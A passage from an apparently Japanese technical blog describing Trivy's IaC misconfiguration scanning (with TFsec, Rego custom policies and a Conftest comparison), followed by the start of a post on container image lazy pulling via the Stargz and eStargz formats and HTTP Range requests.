TFsecについて少し具体的に説明します。TFsecはTerraformのファイルを解析し、AWSのセキュリティグループが0.0.0.0/0になっているとかAWS Load BalancerがHTTPSではなくHTTPになっているとか、Azureのディスクが暗号化されていないとか、セキュリティに関する設定ミスを中心に脆弱になりうる設定を検知します。中にはセキュリティだけではなくベストプラクティスに沿っているかなどのチェックも一部含まれます。もちろん中には意図的にそういう設定をしている場合もあるので、そういう場合の除外設定なども可能です。

https://github.com/tfsec/tfsec/raw/master/screenshot.png

特徴としては以下です。

重要な点としては、単にHCLをパースするだけでなく関数や変数の評価にも対応している点です。この辺りのexampleを見ると分かるかと思いますが、きちんとvariableやtfvarsの値を評価した上で脆弱な設定を検知しています。

github.com

世の中には terraform plan の出力をJSONに変換して検知するツールもあるのですが、Terraform使いの皆さんなら terraform plan にいかに時間がかかるか知っているかと思います。TFsecでは単にTerraformで書かれた設定ファイルを渡すだけで高速に検知できるので手元でも気軽に実行できます。

また、 terraform plan する場合はAWSで言うとS3バケットへのアクセスが必要だったりもします。つまりCI上で検知するためにはある程度の権限を持ったAPIトークンが必要になるわけですが、Codecovの一件で分かったようにCI上に気軽に認証情報を設定すると3rd partyツールのインシデントによって漏洩するリスクがあります。そういったリスクを下げるためにもCIのワークフローはきちんと分けて、可能な限り認証情報を渡さないようにするのが好ましいです。そういう観点でもTFsecは安全に利用できます。

about.codecov.io

TrivyのIaC設定ミス検知機能

概要

TrivyというOSSを知らない方もいると思いますが、元々はコンテナイメージの脆弱性スキャナーです。主にCI上で実行されることを意図して開発しており、コンテナレジストリにpushする前に脆弱性を検知してビルドを失敗させることができます。

github.com

そこから色々と進化し、現在ではコンテナイメージだけでなくファイルシステムやGitリポジトリのスキャンも可能です。VMのOSパッケージの脆弱性をスキャンすることもできますし、コンテナを利用していないプロジェクトでNode.jsの依存性の脆弱性を検知することもできます。他にもGoのバイナリスキャンだったり色々と対応していますので、興味が湧いた方は以下のドキュメントをご参照ください。このブログでもちょこちょこ解説しています。

aquasecurity.github.io

今回、新たに脆弱性だけでなく設定ミスも検知するようになりました。英語ではmisconfigurationsとかconfiguration issuesとか呼んでます。さすがに脆弱性と設定ミスではまるで異なる機能なのでTrivyに実装する必要はないだろうと思い別ツールの開発を強く主張したのですが、何やかんやあって議論に敗北しました(恒例)。ツールは小さく作りたいという自分の哲学には反しますが、より多くの人がTrivy使ってくれるなら良いかと自分を強引に納得させました。

ということで少し脱線しましたが、やるからには良いものをということで気合を入れて作ったので結構良い仕上がりになったと思います(v0.19.0は壊れてたけど)。

使い方

使い方はコンテナイメージの脆弱性スキャン同様、非常に簡単でディレクトリを指定するだけです。例えば以下のように複数のIaCファイルが含まれるディレクトリがあるとします。 deployment.yamlKubernetesmain.tf はTerraformの設定ファイルです。

$ ls iac/
Dockerfile  deployment.yaml  main.tf

スキャンするためには trivy conf に続けてディレクトリを指定するだけです。

$ trivy conf ./iac
2021-07-09T11:51:08.212+0300    INFO    Need to update the built-in policies
2021-07-09T11:51:08.212+0300    INFO    Downloading the built-in policies...
2021-07-09T11:51:09.527+0300    INFO    Detected config files: 3

Dockerfile (dockerfile)
=======================
Tests: 23 (SUCCESSES: 22, FAILURES: 1, EXCEPTIONS: 0)
Failures: 1 (HIGH: 1, CRITICAL: 0)

+---------------------------+------------+-----------------+----------+------------------------------------------+
|           TYPE            | MISCONF ID |     CHECK       | SEVERITY |                 MESSAGE                  |
+---------------------------+------------+-----------------+----------+------------------------------------------+
| Dockerfile Security Check |   DS002    |   root user     |   HIGH   | Last USER command in                     |
|                           |            |                 |          | Dockerfile should not be 'root'          |
|                           |            |                 |          | -->avd.aquasec.com/appshield/ds002       |
+---------------------------+------------+-----------------+----------+------------------------------------------+

deployment.yaml (kubernetes)
============================
Tests: 28 (SUCCESSES: 15, FAILURES: 13, EXCEPTIONS: 0)
Failures: 13 (HIGH: 1, CRITICAL: 0)

+---------------------------+------------+----------------------------+----------+------------------------------------------+
|           TYPE            | MISCONF ID |           CHECK            | SEVERITY |                 MESSAGE                  |
+---------------------------+------------+----------------------------+----------+------------------------------------------+
| Kubernetes Security Check |   KSV005   | SYS_ADMIN capability added |   HIGH   | Container 'hello-kubernetes' of          |
|                           |            |                            |          | Deployment 'hello-kubernetes'            |
|                           |            |                            |          | should not include 'SYS_ADMIN' in        |
|                           |            |                            |          | 'securityContext.capabilities.add'       |
|                           |            |                            |          | -->avd.aquasec.com/appshield/ksv005      |
+---------------------------+------------+----------------------------+----------+------------------------------------------+

main.tf (terraform)
===================
Tests: 23 (SUCCESSES: 14, FAILURES: 9, EXCEPTIONS: 0)
Failures: 9 (HIGH: 6, CRITICAL: 1)

+------------------------------------------+------------+------------------------------------------+----------+--------------------------------------------------------+
|                   TYPE                   | MISCONF ID |                  CHECK                   | SEVERITY |                        MESSAGE                         |
+------------------------------------------+------------+------------------------------------------+----------+--------------------------------------------------------+
|   Terraform Security Check powered by    |   AWS003   | AWS Classic resource usage.              |   HIGH   | Resource                                               |
|                  tfsec                   |            |                                          |          | 'aws_db_security_group.my-group'                       |
|                                          |            |                                          |          | uses EC2 Classic. Use a VPC instead.                   |
|                                          |            |                                          |          | -->tfsec.dev/docs/aws/AWS003/                          |
+                                          +------------+------------------------------------------+----------+--------------------------------------------------------+
|                                          |   AWS004   | Use of plain HTTP.                       | CRITICAL | Resource                                               |
|                                          |            |                                          |          | 'aws_alb_listener.my-alb-listener'                     |
|                                          |            |                                          |          | uses plain HTTP instead of HTTPS.                      |
|                                          |            |                                          |          | -->tfsec.dev/docs/aws/AWS004/                          |
+------------------------------------------+------------+------------------------------------------+----------+--------------------------------------------------------+

そうすると上のようなスキャン結果が出力されます(一部見やすさのためにカットしてます)。マネージドポリシーは自動的にGitHub Packages Container registryからダウンロードされるのでユーザは意識する必要がありません。その後も24時間ごとに最新のポリシーがないかを勝手にチェックして必要なら更新してくれます。

Terraformは内部的にはTFsecでスキャンしてその結果を出力しています。マネージドポリシーはKubernetesとDockerfileに対応しており、Open Policy Agentの提供しているRegoで書かれています。それらはAppShieldと呼ばれるリポジトリで管理されています。

github.com

もしポリシーに対してフィードバックがある場合はAppShield上にIssueやPRを上げてください。個人的にはマネージドポリシーの完成度はまだまだだと思っているのですが、中央でポリシーを管理することで多くのユーザの知見が集約されて今後より良いものになっていくと期待しています。

正直自分でRego書くのかなり大変で学習コストも高いと感じているので、マネージドポリシーを提供することで多くの人がなるべくRegoを書かずに済む世界になったら良いなという思いがあります。もちろん慣れるとRegoは便利なので余力がある組織は積極的に学んでカスタムポリシーをガシガシ書いていくのもありだと思います。ですが、それでもやはり各組織が共通でチェックしたいことというのはあるはずなので、そういったポリシーをAppShieldで提供していきたいです。

ちなみにセキュリティにそこまで関係ないものもベストプラクティスに含まれている場合はなるべく検知しています。そういったものはSeverityがやや低くなっています。

JSONの出力だったりSeverityによるフィルタリングなど、脆弱性に対して可能な操作の多くは設定ミスに対しても可能です。CLIオプションの使い方はドキュメントに多く例を載せているので参照してください。

aquasecurity.github.io

また、 trivy fs コマンドを使うと脆弱性と設定ミスを同時に検知できます。例えば以下のようにDockerfileとPipfile.lock(PipenvというPythonのパッケージマネージャ用のファイル)があるとします。これはPythonで開発をしていてDockerコンテナを利用している場合はよくある構成だと思います。

$ ls myapp/
Dockerfile Pipfile.lock

こういった場合に --security-checks vuln,configと指定すると両方に対してスキャンが実行されます。

$ trivy fs --security-checks vuln,config --severity HIGH,CRITICAL myapp/
2021-07-09T12:03:27.564+0300    INFO    Detected OS: unknown
2021-07-09T12:03:27.564+0300    INFO    Number of language-specific files: 1
2021-07-09T12:03:27.564+0300    INFO    Detecting pipenv vulnerabilities...
2021-07-09T12:03:27.566+0300    INFO    Detected config files: 1

Pipfile.lock (pipenv)
=====================
Total: 1 (HIGH: 1, CRITICAL: 0)

+----------+------------------+----------+-------------------+---------------+---------------------------------------+
| LIBRARY  | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION |                 TITLE                 |
+----------+------------------+----------+-------------------+---------------+---------------------------------------+
| httplib2 | CVE-2021-21240   | HIGH     | 0.12.1            | 0.19.0        | python-httplib2: Regular              |
|          |                  |          |                   |               | expression denial of                  |
|          |                  |          |                   |               | service via malicious header          |
|          |                  |          |                   |               | -->avd.aquasec.com/nvd/cve-2021-21240 |
+----------+------------------+----------+-------------------+---------------+---------------------------------------+

Dockerfile (dockerfile)
=======================
Tests: 23 (SUCCESSES: 22, FAILURES: 1, EXCEPTIONS: 0)
Failures: 1 (HIGH: 1, CRITICAL: 0)

+---------------------------+------------+-----------+----------+------------------------------------------+
|           TYPE            | MISCONF ID |   CHECK   | SEVERITY |                 MESSAGE                  |
+---------------------------+------------+----------------------+----------+------------------------------------------+
| Dockerfile Security Check |   DS002    | root user |   HIGH   | Last USER command in                     |
|                           |            |           |          | Dockerfile should not be 'root'          |
|                           |            |           |          | -->avd.aquasec.com/appshield/ds002       |
+---------------------------+------------+-----------+----------+------------------------------------------

確かにhttplib2というPythonライブラリの脆弱性とDockerfileに対する設定上の問題が検知されています。現在はデフォルトでは脆弱性のみの検知となっているため、両方検知したい場合は --security-checks オプションの指定が必須です。

簡単な説明は以上です。もし興味を持ってもらえたら、まずは使ってみてフィードバックを頂ければと思います。もし良いと思ってもらえたらGitHubのスターもお願いします。あと200増えると自分がこの2年以上ずっと目標にしていたことが達成されます。

カスタムポリシー

上では主にマネージドポリシーを使って検知する方法について説明しましたが、自分でポリシーを書きたい場合もあると思います。そういった場合はRegoを使ってカスタムポリシーを定義できます。カスタムポリシーではパース可能なファイルフォーマット(JSON, YAML, HCLなど)であれば標準で対応しているKubernetes, Dockerfile, Terraform以外にも対応可能です。詳細はドキュメントを参照してほしいのですが、ブログ内でも簡単に説明します。

aquasecurity.github.io

Regoでポリシーを書いて設定ファイルをテストすると言うとConftest が有名です。ただTrivyではConftestと違いカスタムポリシー内でメタデータセレクターが定義できます。

まずはカスタムポリシーの例を見ると早いと思うので載せておきます。

package user.kubernetes.ID001

__rego_metadata__ := {
    "id": "ID001",
    "title": "Deployment not allowed",
    "severity": "LOW",
    "type": "Custom Kubernetes Check",
    "description": "Deployments are not allowed because of some reasons.",
}

__rego_input__ := {
        "combine": false,
    "selector": [
        {"type": "kubernetes"},
    ],
}

deny[msg] {
    input.kind == "Deployment"
    msg = sprintf("Found deployment '%s' but deployments are not allowed", [input.metadata.name])
}

これはKubernetesの設定ファイルに対するポリシーでDeploymentを使おうとしたら弾くというものです。実際にはあり得ないようなポリシーですが例なのでポリシーそのもの自体はスルーしてください。

パッケージ名

パッケージ名は重要で、Trivyでは原則1パッケージ1ポリシーにする必要があります。理由は技術的な制約でメタデータを同じパッケージ内に複数定義するとエラーになるからなのですが、とりあえずパッケージ名はユニークにする必要があると思ってください。1パッケージ1ポリシーというのは deny が1つでなくてはならないという意味ではなく、 deny が複数あっても問題ありません。意味的に検知したいものが1つであるべき、つまり1つのTitleで表現できるものであれば同じパッケージ内に複数定義しても問題ありません。

上の例ではパッケージ名を user.kubernetes.ID001 にしています。パッケージ名に関する制約はユニークであること以外には特にないのですが、 $prefix.$config_type.$id などにすると分かりやすくかつユニークになるので良いと思います。全然違うルールでパッケージ名を定義しても特に影響は出ません。ただし、実行して欲しいパッケージのprefixはCLIオプションとして指定する必要があるためmainでもcustomでも何でも良いですが $prefix の部分は統一することをおすすめします。

メタデータ

__rego_metadata__ という名前で定義する必要があります。これは結果のテーブルやJSONメタデータとして出力されます。optionalなので定義しなくても動くのですが、全部N/AやUNKNOWNといった表示になってしまうため分かりやすさのためこちらも定義することをおすすめします。TitleやDescriptionがあるとひと目で何のポリシーかを理解しやすくなります。 deny で返されるメッセージでも理解はできるのですが、変数などが入ることが多いですし説明的になるので一覧の視認性という意味だとTitle等があるとやはり便利かなと思っています。

インプット

__rego_input__ という名前で定義する必要があります。今現在は2つのフィールドが定義可能で、 combineselector になります。こちらのフィールドもoptionalなので省略可能です。

Trivyでは原則ファイルごとに独立して処理するのですが、複数のファイルを相互参照したい場合もあります。例えばKubernetesのServiceがDeploymentのselectorと一致しているか、などです。そういった場合にcombine: trueにするとパースされたファイルが全て結合されて配列としてポリシーに渡されます。これはポリシーごとに制御可能なので、複数ファイルを同時参照したいポリシー以外ではcombine: falseにしておけば良いですし、省略すればデフォルトはfalseです。

もう一つはselectorですが、こちらはポリシーが入力として受け取りたいファイルの種類を定義できます。今回の例では type: kubernetes を指定しているので、同じディレクトリ内にDockerfileやTerraformのファイルがあってもこのポリシーにはinputとして渡されません。省略すると全部のファイルが渡されるだけなので、ポリシー側でフィルタする場合にはselectorは定義しなくても構いません。ただしDockerfileのsuccessに表示されたりしてノイズになりうるので指定しておくほうが無難ではあります。ちなみに type: kubernetes のようにオブジェクトになっているのは、そこに kind: Pod なども将来的に指定できるようにするためです。Trivy側で判別できない設定ファイルの場合は単純に jsonyaml として渡されるので、 type: json などのように指定します。現在は kubernetes, ansible, cloudformation のみが判別可能です。

使い方

以下のように --policy オプションでポリシーのディレクトリを指定します。同時に --namespaces で評価したいパッケージのprefixを指定します。デフォルトではマネージドポリシーのパッケージ( appshield.* ) しか評価されません。この例では user.* が評価されます。

$ trivy conf --policy /path/to/custom_policies --namespaces user /path/to/config_dir

Conftestとの違い

Trivyの設定ミス検知機能はConftestに大きな影響を受けています。Conftestはシンプルで軽量でとても良いツールだと思います。ですが構造化されたファイルに対するテストツールとして汎用的に作られているため、セキュリティ関連の設定ミスを主に検知したいと思うと少し物足りなくなりTrivyではConftestを使わずエンジンを自作しました。内部ではConftestのロジックを流用させてもらっている所も多いですしここで感謝を述べておきます。両者のツールの目指すところが異なるので使い分けが必要かと思います。

ですが何が違うのかわからない人もいるかも知れないので違いについていくつかピックアップして簡単に説明します。ドキュメントには表も載せています。一覧で確認する場合はそちらのほうが分かりやすいと思うのでご確認ください。

aquasecurity.github.io

マネージドポリシー

Conftestでは基本的に自分でポリシーを書く必要がありますが、TrivyではDockerfile, Kubernetes, Terraformのマネージドポリシーを提供しているため、ツールをインストールしてすぐ利用可能です。

メタデータ

TrivyではID, Title, Description, Severityなどのメタデータに対応しています。Conftestも deny, warn, violationが定義できSeverityに近いことはできますが、そういった情報でフィルタリングなどはできません。

ポリシー単位のcombine

Conftestでも --combine オプションが提供されているのですが、全体で有効化されてしまうためファイルの配列を受け取るように全てのポリシーを書き直す必要があります。Trivyではポリシー単位で定義可能なので一部のポリシーだけをcombine対応することができます。

Input Selector

上で述べたように __rego_input__ を定義することでKubernetesに関するものだけを入力として受け取る、といったことが可能です。

Goでのテスト

Goでカスタムポリシーをテストできるようにライブラリとして動作するようにしています。Regoのユニットテストでは入力をJSONなどで定義する必要がありますが、こちらはファイルのパースからやってくれるためテストデータも用意・管理しやすいです。

aquasecurity.github.io

また、そもそも想定していた入力とフォーマットが異なる場合はRegoのユニットテストでは検知できないためGoのテストを組み合わせるとよいかと思います。YAMLなどはパースしてどういう構造化データになるか容易に想定できますが、Dockerfileなどは難しいかと思います。ドキュメントには入力の例なども載せています。

aquasecurity.github.io

ただしGoのテストだけで言うかとそうは思っておらず、Regoのユニットテストと組み合わせると効果的かと思います。ユニットテストとインテグレーションテストのような関係だと考えています。

対応フォーマット

Conftestは現時点で以下の14種類に対応しています。

  • CUE, Dockerfile, EDN, HCL, HCL2, HOCON, Ignore files, INI, JSON, Jsonnet, TOML, VCL, XML, and YAML

一方でTrivyは6種類しか対応していません。

  • Dockerfile, HCL, HCL2, JSON, TOML, and YAML

互換性

TrivyはConftestとの互換性を意識して作っています。そのため、Conftestで利用していたポリシーをそのまま渡しても動く可能性が高いです。ですが結果が見にくいので、なるべく上述したメタデータなどの定義をおすすめします。

違いまとめ

もしマネージドポリシーが不要で自分でポリシーを書きたい、かつメタデータなども不要でメッセージだけで十分という場合はConftestを利用する方が良いです。またはTrivyで対応していないファイルフォーマットに対するテストをしたい場合もConftestになります。Conftestは機能もそこまで多くないため扱いやすく軽量です。

一方ですぐ使い始められるスキャナーが欲しいという方はマネージドポリシーを提供しているTrivyを使う方が良いです。CI/CDで使うのに適した多くの機能がありますし脆弱性も同時に検知できるため、プロジェクト内の脆弱性と設定ミスをCI/CDで同時に検知したい場合もTrivyが適しているかと思います。

余談

マネージドポリシーを提供するAppShieldプロジェクトは別のチーム担当で自分は最初関わっていませんでした。ですがTrivy側の開発が終わってあとはリリースに向けてAppShieldの完成を待つだけ、という状態で進捗を確認したらほぼ0で愕然とする事件がありました。このままではリリースには間に合わないということで自分が首を突っ込んで強引にポリシーの整備をしました。そういった背景もあって自分はここ数週間休日返上で働いていたのですが、正直全部のポリシーを直すには到底時間が足りず他に足したいポリシーも間に合わずでした。現時点でもかなり良くはなったのですが、個人的にはまだまだ満足していないので暖かく見守りつつフィードバック、あわよくばコントリビュートしてもらえるととても嬉しいです。

また、AppShieldはTrivyのみではなくAqua Securityの他のOSSであるStarboardでも利用される予定ですし、他にも複数プロジェクトでOPA/Regoを利用しています。そういうわけで社内の統一Regoフォーマットを策定していたのですが、関係者が多すぎて意見がまとまらずリリース直前になってもまだ定まっていない状況でした。このままだとまずいなということでフォーマットの変更があった場合に問題なくマネージドポリシーの移行ができるようにマネージドポリシーはGitHub Package Container registry (GHCR) にOCI artifactとして公開しています。

github.com

利点としてはコンテナイメージ同様にタグが付けられ、aliasが使える点です。Trivy側としてはv1をずっとpullしておくだけで1.0.0→1.1.0→1.2.0と上がっていっても追従できますし、破壊的変更が入った場合でもv2をリリースすれば新しいバージョンのTrivyではv2をpullするようにするだけで済みます。古いクライアントはv1をpullし続けるので動作しなくなるようなこともありません。GHCRが6/21にGAしたのを見て急遽実装しました。GHCRには本当に感謝です。

github.blog

まとめ

Infrastructure as Codeの脆弱な設定をデプロイ前に検知したい場合には是非TFsecやTrivyを試してみてご意見頂けますと幸いです。

あとCI/CDと言ってますが主にCIです。デプロイ前に落としたい場合もあるかもしれないのでCDの可能性も0ではないと思って一応CI/CDと言っているのですが、一番の理由はCIとだけ言うと何か字面が寂しいからです。

コンテナイメージのlazy pullingをcurlで試してみる

はじめに

コンテナイメージのlazy pullingが各ツールで利用可能になりつつあるようです。以下は stargz-snapshotter のメンテナである @TokunagaKohei さんによるブログです。

medium.com

lazy pullingが何かを簡単に説明しておくと、コンテナイメージ全体を最初にpullせずにコンテナ実行後に必要なファイルのみを遅延でpullするものです。docker runしようとすると、ローカルにないイメージは各レイヤーをpullしてから実行されますが、pullが終わるのを待たなければならずコンテナ実行までに時間がかかるので何とかしたいというのがモチベーションです。

Docker使ってるけどレイヤーとかが何かそもそも分からない方は以下の本を読みましょう。イラストで仕組みを分かりやすく説明してくれています。上のブログを書いている @TokunagaKohei さん執筆です。自分はeStargz周りも載ってるかも?と思って買ったのですが、それは載っていなかったのでお気をつけください。ですがランタイム周りなども丁寧に整理されていて、既にある程度コンテナの知識がある方にもおすすめの本です。

詳細は上記ブログを参照してほしいのですが、とある調査によるとコンテナを起動するまでの時間の76%をpullが占めているにも関わらず、実際に使われるデータは6.4%程度とのことです。つまり、大きいサイズのイメージを頑張ってpullしたところでほとんどのファイルが読まれないということです。それなら必要なファイルだけpullしておいて、起動後にreadが発生したらそのタイミングで取得するほうがコンテナ実行までの無駄な時間が発生せず効率的ということになります。

もちろん既にローカルにイメージがあればpullは不要ですが、クラスタの新しいノードでpullする際や更新されたイメージを使いたい場合など、pullが必要な場面は多いです。イメージサイズを小さくするというのは一つの対策ではあるのですが限界があります。そういう場合にこのlazy pullingが役立ちます。

lazy pullingを達成するための案が少し前にGoogleからCRFS (Container Registry Filesystem)として公開されました。

github.com

この中でStargzというフォーマットが提案されているのですが、これがlazy pullingするために重要になります。そしてそれをさらに効率化したeStargzというものの実装が進められているというのが上記ブログの内容です。

CRFSが公開された時にちらっと見たのですが、実装されるのはまだ先だろうと思って放置していました。ですが最近そろそろ実用的な段階に来た気がしたので真面目に調べました。あとで説明しますが、lazy pullingと脆弱性スキャナの相性は非常に良いと思っています。なぜなら脆弱性スキャナの必要とするファイルはコンテナイメージ内のごく僅かだからです。

今回のブログでは仕様を学びつつlazy pullingを手元で試してみます。実際にファイルシステムとしてマウントされてreadのタイミングで取りに行くといった辺りには触れません。コンテナレジストリからどうやって必要なファイルのみを取得するのか、というところに焦点を当てています。

普通lazy pullingを試すと言うとcontainerdでの利用方法やKubernetesでの設定方法がメインになると思いますが、このブログではそういったものは一切説明せずにcurlのみでlazy pullingをします。

参考

lazy pulling歴わずか二日目(昨日資料を読み始めた)なのでこれから書くことは嘘の可能性があります。出来ればちゃんと仕様書やメンテナの方々の資料に目を通すことをおすすめします。

以下でeStargzの仕様が定義されています。

github.com

概要については日本語のLT資料があります。

www.slideshare.net

KubeCon Europe 2020での発表資料もあります。

https://static.sched.com/hosted_files/kccnceu20/ba/lazy-image-distribution.pdf

他にも探すと資料がいくつか見つかるので目を通すと良いです。

Stargz

概要

コンテナイメージというのは複数のレイヤーで構成されていて、Docker Hubなどのコンテナレジストリにはレイヤーごとに分けて保存されています。以下は上記KubeConの資料より引用したものですが、各レイヤーにはそのコンテナを構成するファイルがtarで固めて保存されています。そして多くの場合は、そのままでは非効率なので圧縮されています。gzipやzstdが使えたはずですが、とりあえず今回はgzipとして話を進めます。

f:id:knqyf263:20210615063710p:plain
KubeCon Europe 2020 "Startup Containers in Lightning Speed with Lazy Image Distribution" P.5 より引用

つまりlayer.tar.gzの中にそのレイヤーの全てのファイルが含まれているわけですが、前述したようにこれらすべてのファイルが必要とは限りません。たった1KBの /var/lib/foo/data というファイルが一つだけ必要な可能性もあります。tar.gzはseekableではないため、1KBのファイルを取得するためにもlayer.tar.gz全体をpullしてくる必要があります。これが100MBなどあったらかなり無駄になります。なのでtar.gzをseekableにしてあげよう、というのがStargz(Seekable tar.gz)です。

詳細

まず通常のtar.gzとStargzのフォーマットの違いを見てみます。CRFSのリポジトリから引用します。

  • *.tar.gzGzip(TarF(file1) + TarF(file2) + TarF(file3) + TarFooter))
  • Gzip(TarF(file1)) + Gzip(TarF(file2)) + Gzip(TarF(file3_chunk1)) + Gzip(F(file3_chunk2)) + Gzip(F(index of earlier files in magic file), TarFooter)

これだけ見ても意味が分からないと思うので説明していきます。通常のtar.gzは複数ファイルをtarでアーカイブしたあとにgzipで圧縮しています。しかしこれではseekが出来ません。ではどうするかと言うと、tarの各エントリをgzipで圧縮して単純にくっつけます。単にくっつけるだけだとgzipとして壊れてしまう、と思う方もいるかもしれませんが実はgzipは連結してもgzipとして正しいフォーマットのままになります。

どういうことか試してみます。まず適当にファイルを2つ作ります。

$ echo aaa > a.txt
$ echo bbb > b.txt

これをくっつけてから圧縮してみます。

$ cat a.txt b.txt > ab.txt
$ gzip ab.txt

単に連結されたファイルを圧縮しただけなので、解凍すると内容が連結されています。

$ cat ab.txt.gz | gzip -d
aaa
bbb

では次にそれぞれを圧縮して単純にcatでくっつけた場合にどうなるか試します。

$ gzip a.txt b.txt
$ cat a.txt.gz b.txt.gz > ab-gzip-concat.txt.gz

2つのgzip圧縮ファイルをくっつけただけです。ではこれを解凍してみます。

$ cat ab-gzip-concat.txt.gz | gzip -d
aaa
bbb

何と特にエラーもなく上と同じ結果が得られました。RFC 1952 にも以下のように書いてあり、複数のgzipファイルは連結が可能であることが分かります。

A gzip file consists of a series of "members" (compressed data sets). The format of each member is specified in the following section. The members simply appear one after another in the file, with no additional information before, between, or after them.

サイズを見ても ab-gzip-concat.txt.gz は単純に a.txt.gzb.txt.gz のサイズを合計した60バイトになっています。gzipのヘッダが複数入ってしまいますし、圧縮効率も落ちるのでサイズは多少増えますが依然としてgzipとして正しいフォーマットであることが分かります。Stargzはこの連結可能であるgzipの特性をうまく活用したフォーマットになっています。

$ ls -alh
total 16K
drwxr-xr-x  6 teppei 192  6 14 21:09 ./
drwxrwxrwt 11 teppei 352  6 14 21:05 ../
-rw-r--r--  1 teppei  30  6 14 21:05 a.txt.gz
-rw-r--r--  1 teppei  60  6 14 21:09 ab-gzip-concat.txt.gz
-rw-r--r--  1 teppei  35  6 14 21:06 ab.txt.gz
-rw-r--r--  1 teppei  30  6 14 21:05 b.txt.gz

CRFSを採用するとレイヤーのサイズが数%程度増えることになります。しかしGoogleはこれは許容できる程度であると説明しています。

layer.tar.gzの話に戻すと、tarのアーカイブはシンプルで各ファイルの先頭にヘッダがあってそのあとにファイルの内容が続きます。これが1エントリになります。そしてそれが複数続いて最後にtarのフッタが足されます。つまりこのtarの1エントリ単位でgzip圧縮して全てを連結すればgzipフォーマットを保ったまま各ファイルを独立に圧縮することが出来ます。解凍すれば元のtarファイルに戻ります。

それを理解した上で再度この式を見ると理解できると思います。これ全体でgzipとして正しいフォーマットになります。

 Gzip(TarF(file1)) + Gzip(TarF(file2)) + Gzip(TarF(file3_chunk1)) + Gzip(F(file3_chunk2)) + Gzip(F(index of earlier files in magic file), TarFooter)

しかし欲しいファイルが何番目にあるかわからないと結局tarの先頭から見ていく必要があります。そのため、最後に各ファイルの名前やオフセットを付与します。これはTOCと呼ばれています。つまり流れとしては最初にフッタをpullし、その後にTOCから必要なファイルのオフセットを取得して必要なデータだけpullします。

HTTP Range

どうやってlayer.tar.gzのうち必要なデータだけコンテナレジストリから取得するのか?というとHTTPのRangeヘッダを使います。

developer.mozilla.org

自分も知らなかったのですが、OCI Distribution SpecによってRangeも仕様の一部として定義されていました。

※ 2021/12/06 追記:details.mdは現在削除されており、Rangeに関する記述はない状態になっています。また、元々の記述もMAY supportになっていたので必ず利用可能というわけではなかったようです。ただし、Docker HubやGHCRは対応していますし実態として対応しているレジストリは割とあるかと思います。

https://github.com/opencontainers/distribution-spec/blob/main/detail.md#fetch-blob-partgithub.com

つまり、OCI Distribution Specに従っているコンテナレジストリはRangeを受け付けてくれるということになります。Docker Hubなども対応しています。通常はレイヤーを丸ごとpullするのでRangeは利用されないですが、lazy pullingのためにはRangeがフル活用されます。

互換性

アーカイブや圧縮の方法が異なってくるため、既存のレイヤーのままでは使えません。Stargz形式に変換してコンテナレジストリにpushしてあげる必要があります。しかし上で述べたようにStargzは依然としてtar.gzとして正しいフォーマットであるため、コンテナレジストリ側は追加の対応不要でレイヤーを保存することが出来ます。そして既存のlazy pullingに対応していないツールであっても通常のlayer.tar.gzとして丸ごとpullして解凍すれば本来のレイヤーと同じデータが得られるので(TOCなどの追加ファイルは含まれますが)、Stargz形式のイメージであっても通常通り動作します。

自分の理解をまとめると、Stargz形式でlazy pullingするために必要な対応は以下です

  • コンテナイメージ:Stargz形式に変換する
  • コンテナランタイム:Stargz形式に対応する(ただし対応していなくてもlazy pullingしないだけで通常通り動作する)
  • コンテナレジストリ:対応不要(OCI Distribution Spec準拠の場合)

Stargzまとめ

Stargzは複数のgzip圧縮ファイルを連結してもgzipとして解凍できるという特性とHTTP Rangeを組み合わせてtar.gzをseekableにしたものです。細かい説明は省いているので、詳細はCRFSのリポジトリを確認してください。

図があると分かりやすいと思うので再度引用しておきます。

f:id:knqyf263:20210615064638p:plain
KubeCon EU 20 "Startup Containers in Lightning Speed with Lazy Image Distribution" P.8 より引用

eStargz

概要

Stargzではファイルへのアクセスが発生したタイミングで必要なファイルのみpullするような仕様になっていました。しかしそれではネットワークアクセスのオーバーヘッドが無視できません。ではどうするかというとコンテナ起動時にアクセスされやすいファイルだけ最初にprefetchしてキャッシュしておきます。そうすることでアクセスされにくいファイルだけ遅延で取得すれば良くなります。

以下もKubeCon EU 20の発表より引用です。StargzとeStargzの比較になっています。

f:id:knqyf263:20210615064815p:plain
KubeCon EU 20 "Startup Containers in Lightning Speed with Lazy Image Distribution" P.10 より引用

この例では /bin/bashentrypoint.sh が起動時に必要と特定して、それらのファイルをレイヤー内の最初に固めて保存しておきます。そしてprefetchされるファイルとされないファイルの2つのグループに分けます。このグループを特定するためにlandmarkファイルが使われます。prefetchする場合は .prefetch.landmark というファイルを仕切りとして入れ、prefetch不要な場合は .no.prefetch.landmark を先頭に入れます。.prefetch.landmark より手前にあるファイルをprefetchします。

これはStargzの仕様として含まれていないため、新たに定義されたのがeStargzです。

最適化

どうやってprefetchするファイルを特定するのか?というと実際にコンテナイメージをsandboxとして動かし実行時にアクセスされたファイルをprefetchすべきと判断するようです。他にもENTRYPOINTやENVなども見ているようですが、今回の趣旨から外れるので一旦詳細は追いません。ただアクセスされるファイルを知りたいニーズは自分にもあるので、今度時間ある時に実装を追いたいと思います。

TOC, TOCEntry

これはStargzの仕様から引き継いでいますが、レイヤー内の各ファイルへのオフセットを保持するためのファイルをTOCと呼んでいます。このTOCはtarエントリの最後に保存されます。TOCJSON形式で、ファイル名は stargz.index.json である必要があります。

このJSON内に entries というフィールドがあり、その中に実際のファイルに関する情報(ファイル名やディレクトリかどうか、など)が含まれています。これはTOCEntryと呼ばれています。どういうフィールドがあるのかはeStargzの仕様を確認してください。

以下はTOCの例です。

{
  "version": 1,
  "entries": [
    {
      "name": "bin/",
      "type": "dir",
      "modtime": "2019-08-20T10:30:43Z",
      "mode": 16877,
      "NumLink": 0
    },
    {
      "name": "bin/busybox",
      "type": "reg",
      "size": 833104,
      "modtime": "2019-06-12T17:52:45Z",
      "mode": 33261,
      "offset": 126,
      "NumLink": 0,
      "digest": "sha256:8b7c559b8cccca0d30d01bc4b5dc944766208a53d18a03aa8afe97252207521f",
      "chunkDigest": "sha256:8b7c559b8cccca0d30d01bc4b5dc944766208a53d18a03aa8afe97252207521f"
    },

上のTOCはファイルの数によって大きさが異なるため、最初に取得するのは少し難しいです。というのは、TOC自体のオフセットが分からないためです。そのため、TOCの後ろにさらに固定長のフッタを付与しています。理由は勝手に自分で想像しただけなので全然違う理由だったらすみません。ですが固定長だとHTTP Rangeで簡単に取得できるのでやはり必要なんじゃないかなと思います。

